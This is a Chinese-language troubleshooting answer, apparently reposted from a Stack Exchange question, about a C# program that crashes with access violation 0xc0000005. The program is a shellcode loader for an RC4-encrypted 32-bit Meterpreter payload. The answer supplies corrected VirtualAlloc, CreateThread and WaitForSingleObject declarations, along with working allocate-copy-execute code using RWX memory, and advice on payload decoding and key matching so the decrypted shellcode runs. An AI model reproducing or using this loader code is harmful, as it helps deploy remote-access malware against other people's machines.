C#程序报-1073741819(0xc0000005)访问违例错误退出排查
故障原因
触发-1073741819 (0xc0000005) Access violation访问违例是多个问题共同导致的:
- 最初Any CPU编译运行异常:你使用的Meterpreter载荷是32位x86架构的,Any CPU配置在64位系统上默认以64位模式启动进程,32位原生shellcode无法在64位进程中执行,切换x86目标平台的操作是正确的,但代码本身存在其他致命问题。
- P/Invoke签名定义错误:所有Windows API的C#导入声明类型不匹配:
VirtualAlloc返回值、第一个入参都是指针类型,对应C#类型应为IntPtr,原代码用UInt32声明,在调用时会出现栈对齐错误、地址截断问题。CreateThread第三个入参是线程入口地址,对应指针类型IntPtr,原代码用UInt32声明同样会导致调用异常,跳转到非法内存地址触发访问违例。
- 内存分配参数错误:原代码调用
VirtualAlloc时仅传入MEM_COMMIT标记,按照Windows内存管理规则,申请用户态私有内存必须同时传入MEM_RESERVE | MEM_COMMIT,否则函数会直接返回空指针,后续Marshal.Copy向空地址写入数据必然触发内存访问错误。 - 无返回值校验:原代码调用完
VirtualAlloc、CreateThread后没有判断返回值是否为空,API调用失败后继续执行后续逻辑直接触发崩溃。 - 可选逻辑隐患:当前代码解析加密payload字符串时默认按十进制解析字节,如果加密时payload是按十六进制字符串存储的,解密出来的shellcode本身就是乱码,执行时必然崩溃。
修复方案
- 替换原有错误的Windows API导入声明为正确版本:
private const uint MEM_COMMIT = 0x1000; private const uint MEM_RESERVE = 0x2000; private const uint PAGE_EXECUTE_READWRITE = 0x40; private const uint INFINITE = 0xFFFFFFFF; [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr VirtualAlloc( IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect ); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr CreateThread( IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId ); [DllImport("kernel32.dll", SetLastError = true)] private static extern uint WaitForSingleObject( IntPtr hHandle, uint dwMilliseconds );
- 替换原有内存分配、线程创建的执行逻辑,增加返回值校验,修正参数传值:
// 解密完成后替换原有VirtualAlloc及后续逻辑 IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)Final_Payload.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (funcAddr == IntPtr.Zero) { Console.WriteLine($"内存分配失败,错误码:{Marshal.GetLastWin32Error()}"); return; } Marshal.Copy(Final_Payload, 0, funcAddr, Final_Payload.Length); uint threadId = 0; IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, out threadId); if (hThread == IntPtr.Zero) { Console.WriteLine($"线程创建失败,错误码:{Marshal.GetLastWin32Error()}"); return; } WaitForSingleObject(hThread, INFINITE);
- 核对payload解析逻辑:如果加密时生成的密文字符串是十六进制格式,解析字节时需要将
Convert.ToByte调用改为Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i], 16),和加密逻辑保持一致,避免解密出乱码。 - 核对RC4密钥和加密时使用的密钥完全一致,密钥错误同样会导致解密出的shellcode无效,执行崩溃。
运行现象说明
VS调试模式下程序崩溃后保持打开,是因为调试器会自动捕获系统层SEH异常并中断在出错位置;直接运行exe时无调试器挂载,进程触发未处理的原生异常后会被系统直接终止,属于正常表现。
内容的提问来源于stack exchange,提问作者KrazzY
相关产品推荐
相关产品推荐

